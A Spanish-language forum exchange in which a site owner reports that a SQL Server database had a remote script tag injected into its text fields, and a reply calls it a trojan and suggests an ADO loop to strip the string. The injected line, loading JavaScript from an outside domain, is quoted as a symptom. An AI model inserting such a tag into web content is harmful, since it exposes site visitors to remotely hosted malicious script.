Pues si... como se suele decir date por muy j..... llevo una semana padeciendo este problema en todas las bases de datos de SQL y hasta ahora la unica solucion ha sido crear un codigo en ADO que revisa y elimina ese script de todas las cadenas de texto que tiene la base de datos (en todos los campos).
Si conoces un poco de ADO haz un bucle contra la coleccion databases y dentro otro bucle con la coleccion fields(n) y campo por campo hacer un replace de la cadena esta que infecta por un texto vacio.
Por ahora no conozco otra solucion posible. Espero que te sirva mientras las mentes pensantes van creando un filtro para ese troyano.
Cita:
Iniciado por edude Buenos días, necesito un poco de información, aun que no se si lo que me ha ocurrido es por culpa de un virus, spyware o por qué.
El caso es que tengo alojada una web en un servidor de arsys. La web accede a una base de datos SQL Server. Pues bien, de un día para otro dejaron de verse las imágenes, algunos enlaces no iban bien, etc. Descubrí, que en muchos campos de casi todas las tablas de la BBDD se había insertado un texto adicional. Este texto es el siguiente: <script src=http://www.adw95.com/b.js></script>
Dado que algunos enlaces y las imágenes las recupero de la BBDD, pues al haber añadido ese texto, no funcionaban, ya que no existía la imagen foto1.jpg<script src...>, etc
Alguien sabe qué puede ser esto? Como se ha podido insertar en la BBDD ese texto?
Por otro lado, al intentar solucionarlo, haciendo UPDATES en la BBDD, de repente no me dejaba modificarlos. Me dice que el registro de transacciones está lleno y que tengo que hacer un backup del registro. Para gestionar la BBDD estoy utilizando el EMS SQL Manager, que es gratuito. Sabe alguien por qué sale este mensaje? De paso aprovecho y pregunto si alguien conoce algun SGBD gratuito estilo MySQLFront o HeidiSQL, pero para SQL Server.
Muchas gracias por la ayuda,
edude.